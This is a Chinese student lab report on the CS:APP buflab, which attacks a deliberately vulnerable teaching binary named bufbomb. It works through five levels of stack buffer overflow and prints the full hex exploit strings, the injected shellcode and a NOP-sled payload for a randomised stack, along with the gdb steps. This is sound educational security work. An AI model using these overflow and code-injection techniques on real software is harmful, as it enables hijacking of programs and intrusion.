一、实验目的
利用字符输入,对程序的栈进行攻击,破坏栈的结构,从而起到“攻击”的效果。通过这样的练习,来加强对程序栈的理解,以及在执行leave、ret、nop等语句时,寄存器%rbp,%rsp,%rip的变化。
二、实验过程
本次实验使用的操作系统为Ubuntu 20.04。
预先准备
从官网上下载buflab-handout,里面有三个程序文件:bufbomb、hex2raw和makecookie。
bufbomb便是本次实验将要被攻击的程序了。因为要做的是educoder上的训练(educoder上的bufbomb和官网上的有所不同),所以需要从educoder上单独下载bufbomb,并覆盖handout中的bufbomb。
虽然程序不同,但要求却是相同的。因此,仍然可以使用官网上的readme32.pdf文件,查看实验要求及提示。
和bomblab一样,首先需要对bufbomb进行反汇编:
objdump -d bufbomb > bufbomb.asm
得到bufbomb.asm,此即bufbomb的汇编文件,双击在代码编辑器中打开,拖至屏幕右侧。
新起一个终端,拖至屏幕左侧,输入gdb bufbomb,进入到调试界面中,准备对bufbomb进行调试。
level 0: Candle
readme32.pdf文件中,已经列出bufbomb中的test()函数的c语言代码:
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
大概意思是想说明:在test()函数中,会读取用户输入的信息,随后对用户输入信息后的各变量进行判断,如果满足某些条件,就会触发一些输出语句的执行。
而level 0中则是说,在bufbomb这个程序中,已经事先定义好了一个叫做smoke()的这个函数:
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
当这个函数被调用时,就会在屏幕上打印:“Smoke!: You called smoke()”。
而现在,我们的目标就是,在test()函数中的getbuf()函数里:
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
让语句return 1无法跳转回到原来的test()函数中,取而代之的,是跳转到smoke()函数。
想要达到这样的效果,首先还是需要对函数栈的相关内容进行一下回顾。
现在,假设一个函数执行结束了,栈顶指针rsp指向了栈顶,而栈帧指针rbp则指向了栈中存放调用者地址(Addr(caller))的下面那个位置:
现在,执行汇编语句中的leave语句(在有些程序中似乎是没有这一句的,但在bufbomb中有),则会让rsp移动到rbp的位置,并且将栈中的%rbp给pop出来,返还给%rbp寄存器(栈中存储的%rbp值,是在调用这个函数前的时候,rbp所指向的位置)。此时rsp回到了Addr(caller)的位置:
在leave后,执行ret语句。ret语句的作用为:将位于栈顶的Addr(caller)给弹出来,并赋值给%rip寄存器,将其作为下一条要执行的指令在内存中的地址:
这样一来,不仅栈弹“干净”了,rbp恢复了,下一条要执行的指令也成功地回到调用者在调用后的相应位置了,这便是leave和ret语句的作用。
回到bufbomb中。现在就可以明白这一点了:返回到哪个地址处,实际上是由Addr(caller)的值决定的。而getbuf中获取的用户的输入,会从地址低一些的地方开始,从下往上存储(小端存储模式将低字节放在低地址处)。如果输入的字符数太多的话,在程序没有进行相应预防措施的情况下,就会挤到Addr(caller)的这个位置,从而使得ret语句执行后,将不再会回到原本该回去的Addr(caller)处,取而代之的,是挤入Addr(caller)的输入值。
现在已知smoke()位于虚拟地址0x8048b04处,因此,要让ret执行后,rip跳转到0x8048b04处,只需在Addr(caller)处将对应的地址改为0x8048b04就可以实现了。
现在的关键问题就是:如何修改Addr(caller)处的值。前面已经提到,用户的输入是从下往上存放在栈中的,在超过一定的数量后,就会挤压到Addr(caller)的位置。因此,只要知道输入是从栈的哪里开始存放的,以及Addr(caller)是存在哪个位置的,就可以计算出需要从第多少个输入开始放置地址了。
getbuf的汇编语句如下:
08049284 <getbuf>:
8049284: 55 push %ebp
8049285: 89 e5 mov %esp,%ebp
8049287: 83 ec 38 sub $0x38,%esp
804928a: 8d 45 d8 lea -0x28(%ebp),%eax
804928d: 89 04 24 mov %eax,(%esp)
8049290: e8 d1 fa ff ff call 8048d66 <Gets>
8049295: b8 01 00 00 00 mov $0x1,%eax
804929a: c9 leave
804929b: c3 ret
在gdb中,输入下述语句:
br *0x8049284 #断点1
br *0x8049295 #断点2
随后输入run -u caimx(-u表示指定用户名,不同的用户名会生成不同的Cookie,Cookie在后期会用到)运行程序,在断点1处执行:
i r
查看寄存器的情况,发现%rsp=0x55683ca4,说明Addr(caller)正是位于这个地方。
在断点2处查看寄存器的情况,则发现%rsp=0x55683c68,这是栈顶位置,并不代表用户的输入是从这里开始存放的。
现在尝试对程序输入一连串的十六进制的ff,以方便查看究竟是从栈中的哪个位置开始记录的。新建一个文本文档solution_0.txt,在里面输入数十个ff,随后打开终端,输入:
./hex2raw < solution_0.txt > solution_0_raw.txt
这一步主要是将十六进制的字符串,转换为能够直接输入到栈中的格式,在run的时候,也需要使用solution_0_raw.txt。现在:
run -u caimx < solution_0_raw.txt
程序在断点1停下来了,输入c继续执行,使其在断点2停下。随即开始打印内存各地址处的信息:
x/4 *0x55683c68@4
这样可以从内存的0x55683c68地址处开始,逐个打印十六进制信息,并且按下回车后,会继续接着往后打印。一开始打印的都是随意的十六进制,而从0x55683c78开始,则全变成了ff。因此,可以确定的是,用户输入的信息是从0x55683c78开始存放的。
而之前所得知的,0x55683ca4是Addr(caller)的位置,它与用户输入开始的地方相差0x55683ca4-0x55683c78=0x2c=44字节。因此,只要先在前面垫上44字节的信息,最后再填入地址信息,就可以破坏程序栈中原本应该return回去的地方了。smoke()函数位于0x8048b04处,按小端存储的规律,对应的输入为04 8b 04 08。最后,在solution_0.txt中输入:
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 04 8b 04 08
然后:
./hex2raw < solution_0.txt > solution_0_raw.txt
最后在gdb中:
run -u caimx < solution_0_raw.txt
即可看见这句话:”Smoke!: You called smoke()“,至此完成level 0的通关。
level 1: Sparkler
本关要求与level 0差不多,要求最后不返回到test(),而是跳转到fizz(int val)函数中:
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
只不过,本关还多了一个条件:要求在test()函数中定义的变量val的值,被修改为cookie的值。
在上一关的基础上,这里所需要额外考虑的,就只有如何修改val值了。要修改val值,就应该在栈中找到它的位置,然后像“挤掉”Addr(caller)一样,把它原有的值也给“挤掉”,替换为cookie值。
fizz函数对应的汇编码:
08048b2e <fizz>:
8048b2e: 55 push %ebp
8048b2f: 89 e5 mov %esp,%ebp
8048b31: 83 ec 18 sub $0x18,%esp
8048b34: 8b 55 08 mov 0x8(%ebp),%edx
8048b37: a1 04 e1 04 08 mov 0x804e104,%eax
8048b3c: 39 c2 cmp %eax,%edx
8048b3e: 75 22 jne 8048b62 <fizz+0x34>
8048b40: b8 cb a5 04 08 mov $0x804a5cb,%eax
8048b45: 8b 55 08 mov 0x8(%ebp),%edx
8048b48: 89 54 24 04 mov %edx,0x4(%esp)
8048b4c: 89 04 24 mov %eax,(%esp)
8048b4f: e8 dc fc ff ff call 8048830 <printf@plt>
8048b54: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048b5b: e8 ce 08 00 00 call 804942e <validate>
8048b60: eb 14 jmp 8048b76 <fizz+0x48>
8048b62: b8 ec a5 04 08 mov $0x804a5ec,%eax
8048b67: 8b 55 08 mov 0x8(%ebp),%edx
8048b6a: 89 54 24 04 mov %edx,0x4(%esp)
8048b6e: 89 04 24 mov %eax,(%esp)
8048b71: e8 ba fc ff ff call 8048830 <printf@plt>
8048b76: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048b7d: e8 9e fd ff ff call 8048920 <exit@plt>
其实只需要看前几行:
08048b2e <fizz>:
8048b2e: 55 push %ebp
8048b2f: 89 e5 mov %esp,%ebp
8048b31: 83 ec 18 sub $0x18,%esp
8048b34: 8b 55 08 mov 0x8(%ebp),%edx
8048b37: a1 04 e1 04 08 mov 0x804e104,%eax
8048b3c: 39 c2 cmp %eax,%edx
8048b3e: 75 22 jne 8048b62 <fizz+0x34>
就可以发现,有一个值为0x804e104的地址上的值,被赋值给了寄存器%rax,而(%rbp+8)上的值,则被赋值给了寄存器%rdx。然后,再拿它们进行比较。这很明显是在暗示这是val与cookie之间的对比,但究竟谁是谁?
在gdb中:
print (char *)0x804e104
屏幕上显示:
Cannot access memory at address 0x804e104
在程序中设置断点,然后运行程序,停在断点处后,再次print (char *)0x804e104:
$2 = 0x804e104 <cookie> "W"
看到了“cookie”字样,说明%rax是存储cookie值的,而%rdx则是存储val值的。
在getbuf函数对应的汇编码中,分别在push %ebp等语句上添加断点,并在断点处观察%rsp、%rbp的变化,发现push %ebp时,%rsp会减少4个字节,到达0x55683ca0处。而此后%ebp指向的则正是这里。现在,已知val值存储在(%ebp+8)处:
则只需在上一关的基础上,对返回地址做对应的修改,并再延长4字节abcd(对应cookie值),将val的值更改为abcd即可。
关于cookie值,由于之前每次run的时候都会提示:
Userid: caimx
Cookie: 0x381a0057
因此在这里就不用官方提供的cookie生成器来查看自己的cookie了,将0x381a0057这个cookie值记录下来,以小端存储的形式:57 00 1a 38,追加到原有的solution_0.txt的最后面,另存为solution_1.txt。
同时将之前return到的smoke的地址,更换为fizz的地址:2e 8b 04 08,即完成了文本的编辑。
转换格式,run,屏幕显示:Fizz!……(后面的不记得是什么内容了……)
兴高采烈地将solution_1.txt中的这个结果粘贴到educoder上,然后就……测试结果:未通过T_T。去educoder服务器的命令行一看,发现在educoder上,user默认为2016010305:
因此,从现在起,在本机上也用这个user。这个user的cookie为0x3d91b195,相应地将文本修改为:
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 2e 8b 04 08 ff ff ff ff 95 b1 91 3d
随后再粘贴回educoder,就通过了。
level 2: Firecracker
还是与level 0和level 1一样,最后不返回到test中,而是返回到bang(int val)中:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
level 2相对于level 0有一个更进一步的要求:全局变量global_value的值必须要被设定为cookie的值。而全局变量与level 1中的val不同,后者就在%ebp上面,而前者则离得非常地远,以至于直接把它“挤掉”的方法是不可行的。
首先还是得找到这个全局变量的位置。bang函数对应的汇编码为:
08048b82 <bang>:
8048b82: 55 push %ebp
8048b83: 89 e5 mov %esp,%ebp
8048b85: 83 ec 18 sub $0x18,%esp
8048b88: a1 0c e1 04 08 mov 0x804e10c,%eax
8048b8d: 89 c2 mov %eax,%edx
8048b8f: a1 04 e1 04 08 mov 0x804e104,%eax
8048b94: 39 c2 cmp %eax,%edx
8048b96: 75 25 jne 8048bbd <bang+0x3b>
8048b98: 8b 15 0c e1 04 08 mov 0x804e10c,%edx
8048b9e: b8 0c a6 04 08 mov $0x804a60c,%eax
8048ba3: 89 54 24 04 mov %edx,0x4(%esp)
8048ba7: 89 04 24 mov %eax,(%esp)
8048baa: e8 81 fc ff ff call 8048830 <printf@plt>
8048baf: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048bb6: e8 73 08 00 00 call 804942e <validate>
8048bbb: eb 17 jmp 8048bd4 <bang+0x52>
8048bbd: 8b 15 0c e1 04 08 mov 0x804e10c,%edx
8048bc3: b8 31 a6 04 08 mov $0x804a631,%eax
8048bc8: 89 54 24 04 mov %edx,0x4(%esp)
8048bcc: 89 04 24 mov %eax,(%esp)
8048bcf: e8 5c fc ff ff call 8048830 <printf@plt>
8048bd4: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048bdb: e8 40 fd ff ff call 8048920 <exit@plt>
注意到0x804e10c和0x804e104这两个地址在其中出现过,在gdb中分别进行打印:
发现前者是global_value,后者是cookie。至此,它们的位置就找到了。
现在的问题就是,如何修改global_value的值?之前用到的完全靠往栈里面堆东西的方法已经不能用了。文档上提示,可以往栈里面去堆汇编码(所对应的十六进制码),然后让它去执行这些汇编码来达到目的。
乍一看觉得挺奇怪的:为什么还会执行栈里面的代码?想了一会才想明白:程序栈也是内存的一部分,而执行代码本来就是执行内存中的代码。因此,只要把执行代码的位置给移到栈里面的某个位置上,它就会执行栈里面的代码了。平时之所以不会执行栈中的代码,是因为它们的距离实在是太远了。或者说,他们设计到那个位置,是因为不希望被作为代码执行。
那么,如何将执行代码的位置给移到栈中?前面提到过,ret语句会给%rip寄存器返回地址值,而下一条要执行的指令又是由%rip的值决定的。所以,只要把Addr(caller)的值给改为栈中的地址值,程序就会接着执行栈中的指令。当然,还有一个需要注意的地方,就是在自定义语句执行完后,还需要再跳转到bang函数中。这是因为第一次return的机会用在了跳转到栈上面,那么就必须在栈上的语句执行完毕后再跳到bang函数,这样才满足了需求。
另一个问题是,既然需要在栈中自定义指令,那么如何获得自定义指令所对应的汇编码?在网上搜到的方法为:先写出汇编语言,然后利用gcc编译器转换为.o对象文件,最后再用objdump反汇编的方式转回带有十六进制码的汇编语言文件。这样操作,即可得到十六进制码。
由于换了用户名,因此程序栈的地址也相对发生了偏移。重新进行测量,发现Addr(caller)现在位于0x556838d4处,而对于用户的输入,则是从0x55683ba8开始存储。
因此,新建一个文件solution_2.s,在里面输入:
movl $0x3d91b195, 0x0804e10c
push $0x08048b82
ret
第一行表示将cookie值移到全局变量上,第二行表示将bang函数的起始地址压入栈中。这样一来,在第三行的ret执行后,就会从栈中弹出刚才压入的值,从而让%rip取0x08048b82,随即跳到bang函数处。
现在,使用gcc,将solution_2.s转换为solution_2.o:
gcc -m32 -c solution_2.s
随后:
objdump -d solution_2.o > solution_2.asm
得到了带有十六进制的汇编码:
solution_2.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: c7 05 0c e1 04 08 95 movl $0x3d91b195,0x804e10c
7: b1 91 3d
a: 68 82 8b 04 08 push $0x8048b82
f: c3 ret
将这些十六进制码组合起来,从栈中0x55683ba8开始堆积,即可让rsp从0x55683bd4处获取取代了原来的ret的地址:0x55683ba8,将程序跳转到0x55683ba8处执行,执行完毕后再将程序跳转至0x8048bf3处,以执行bang函数。这样一来,global_value的值被修改为cookie了,同时也能进入bang函数了。
综上所述,level 2的输入如下:
c7 05 0c e1 04 08 95 b1 91 3d 68 82 8b 04 08 c3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff a8 3b 68 55
转换格式后,拿到gdb里面run,屏幕输出Bang!……表示通关。
level 3: Dynamite
与前面几个level的不同之处在于:level 3不再允许返回到其他函数,而是要求一定要返回cookie到test函数中,并不能更改%rbp和%rip的值(因为%rbp和%rip在执行了程序栈中的语句后,其值必然会变得与没有遭受到攻击的程序运行时对应的值不同。攻击后的%rbp值会对应攻击时在那个位置上所设下的值,而%rip则会对应栈顶的那个值)。
因此,level 3的要点就在于:在执行完栈中的语句后,恢复%rip和%rbp的值。
其中,%rip的值只要在最后设置为test函数中的Addr(caller),即call 8049284 <getbuf>后的0x8048bf3处即可。这可以通过在ret之前,往栈中压入这个值来实现(ret时会直接弹出栈顶元素赋值给%rip,而此时栈顶元素就是想要恢复的%rip值)。
而%rbp的值则需要手动恢复(通过mov来实现)。在test函数中设置断点(在进入getbuf函数前设置),然后在断点处查看%rbp的值,发现是0x55683c00,因此这就便最后要恢复的%rbp值。和level 2一样,在汇编码中对%ebp使用movl语句来实现。
综上所述,可以写出汇编码:
movl $0x3d91b195, %eax
movl $0x55683c00, %ebp
push $0x08048bf3
ret
第一行表示将返回值更改为cookie值,第二行表示恢复%ebp值,而第三行则是将待恢复的%rip值压入栈中,第四行ret时则直接弹栈一次,恢复%rip,使得下一个要执行的指令又回到了test函数中。
使用与level 2同样的方法,得出带十六进制的汇编码:
solution_3.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 95 b1 91 3d mov $0x3d91b195,%eax
5: bd 00 3c 68 55 mov $0x55683c00,%ebp
a: 68 f3 8b 04 08 push $0x8048bf3
f: c3 ret
剩下的操作就和level 2一样了,还是从0x55683ba8处开始堆积输入,并在Addr(caller)处注入a8 3b 68 55以执行栈中指令:
b8 95 b1 91 3d bd 00 3c 68 55 68 f3 8b 04 08 c3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff a8 3b 68 55
转换格式,run,通过。
level 4: Nitroglycerin
level 4的要求与level 3的要求是一样的,只不过在level 4中,使用的是testn函数。这个函数的特点就是:在每次运行时,栈的位置都会发生偏移。简单地说,就是在level 3或更早的level中,对于固定的用户2016010305,栈顶地址永远都是0x55683b98,这样我们就可以像打靶一样,经过多次调试来精确获得这个函数栈的所有详细信息。而level 4则使得这项举动变得几乎不可能,因为每次的栈的位置都会发生偏移:这次运行的栈顶地址为A,下次可能就是B,而下下次则可能就是C……
因此,前面level 3所用的在栈的固定位置开始注入可执行汇编码的办法就行不通了,必须得想出更好的办法。
这个时候就需要提及nop这个汇编语句了。nop语句的作用很简单,就是让%rip的值增加1,然后执行%rip+1地址处的语句。因为这个特性,nop语句也被叫做“雪橇”:在不进行任何改动的情况下,直接向前“滑动”一个字节,并执行相应位置的语句。
估计是为了体现出栈的不稳定性,level 4需要单独使用run -u 2016010305 -n进行调试,每次调试都会重复运行五次程序。在经过多次断点调试后,发现getbufn函数(testn函数会调用getbufn函数)在每次的五次重复运行中,%rbp的先后取值总是固定的5个数(即使用run运行两次程序之间并不会有随机性),在我这里是这样的(每个人的情况情况应该因-u参数而异):
重复次数 | 输入区开始位置 |
---|---|
1 | 0x556839c8 |
2 | 0x556839b8 |
3 | 0x55683968 |
4 | 0x55683948 |
5 | 0x556839b8 |
每次运行,都是这样的结果。由此可以确定,无论如何,输入区开始位置最大都不会超过0x556839c8。
接下来是测量这个栈的长度,由getbufn:
0804929c <getbufn>:
804929c: 55 push %ebp
804929d: 89 e5 mov %esp,%ebp
804929f: 81 ec 18 02 00 00 sub $0x218,%esp
80492a5: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
80492ab: 89 04 24 mov %eax,(%esp)
80492ae: e8 b3 fa ff ff call 8048d66 <Gets>
80492b3: b8 01 00 00 00 mov $0x1,%eax
80492b8: c9 leave
80492b9: c3 ret
80492ba: 90 nop
80492bb: 90 nop
可以得知,从Addr(caller)开始,到栈顶共有0x218+0x4=0x21c=540字节的距离。而使用与前面几个level相同的方法,查看输入区的开始位置时,发现还是在距离栈顶16字节处开始的。因此,从输入区到Addr(caller)共有540-16=524字节的距离。
栈的结构大致如下:
现在,考虑栈在内存中的随机位置,按五次重复运行得到的五种结果,将栈的相对位置大致地画出来:
只要随机偏移量没有那么大,而栈的输入区域又足够地长,那么就总能在输入区中找到公共的空间。只要将Addr(caller)处的值设为输入区公共空间中的任意一个位置,即可保证一定能够执行用户输入的语句。
如果将执行语句紧贴着%ebp,在剩余的空白处全部填上nop,保证Addr(caller)处的地址一定能够定位到nop区域的话,就可以让程序从nop区域开始,按下图中的箭头方向,一个字节一个字节地“滑”向执行语句处。这样一来,就能够保证目标语句一定能够执行了:
另一个问题便是如何恢复%rbp值(%rip值还是固定的,所以与level 3方法一样。但%rbp值却因为随机性,而无法只用一个固定值恢复)。在testn函数中,有一个让%rsp比%rbp小0x28=40字节的操作:
8048c55: 89 e5 mov %esp,%ebp
8048c57: 83 ec 28 sub $0x28,%esp
而在这之后,一直到调用getbufn函数的时候,都没有再进行过任何压栈、弹栈的指令,也没有明面上修改过%rsp和%rbp的值。由此可以确定,在调用getbuf函数前,%rsp比%rbp低0x28=40字节。
在输入到栈中的自定义语句中,会进行%ebp值的恢复。而在进入到栈中执行自定义语句时,已经执行过ret函数了。而在执行ret函数的时候,会进行弹栈操作,rsp会从Addr(caller)的位置继续向上移动。也就是说,rsp现在正好是处在call getbufn之前的状态,即比原来的%rbp低40字节的位置上。
因此,要在自定义语句中恢复%ebp值,只需将(%esp+0x28)的值赋值给%ebp就可以了。level 4的自定义语句如下:
movl $0x3d91b195, %eax
lea 0x28(%esp), %ebp
push $0x08048c67
ret
其中,第三行的0x08048c67是testn中,调用了getbufn后,要执行的下一条语句的地址。
将其转换为带有十六进制的版本:
solution_4.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 95 b1 91 3d mov $0x3d91b195,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 67 8c 04 08 push $0x8048c67
e: c3 ret
共有15字节,这15字节应该紧贴Addr(caller)的所在位置,而从输入区的开始到这15个字节以前的部分则应全由nop(对应的十六进制为0x90,在readme32.pdf中有所提及)填充。nop应该有524-15=509个,在solution_4.txt中输入509个"90"(可以用Python进行循环输出,随后复制粘贴进文本文档),然后再跟上上述的15字节的十六进制汇编码,最后再是那个一定会处在nop区域的地址(这里使用的是0x556839c8,这是输入区的底线的最大可能取值):
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 95 b1 91 3d 8d 6c 24 28 68 67 8c 04 08 c3 c8 39 68 55
转换格式,按照readme32.pdf里面提及的、使用-n的方式去run,程序自动重复运行五次后,通过。
三、实验总结
在本次“对程序栈进行攻击”的实验中,充分地体验了一把作为黑客的感觉(也许)。黑客总是能够利用程序的各种安全漏洞,对栈展开攻击,从而造成不同程度上的破坏。因此,在编写程序时,需要随时注意在内存上可能会出现的漏洞,以防被加以利用,从而造成财产等各种方面上的损失。
另一方面,此次实验在bomblab的基础上,继续加深了对gdb调试工具的熟练程度。同时,也对%rsp、%rbp和%rip寄存器,leave、ret和nop指令有了更深程度的了解。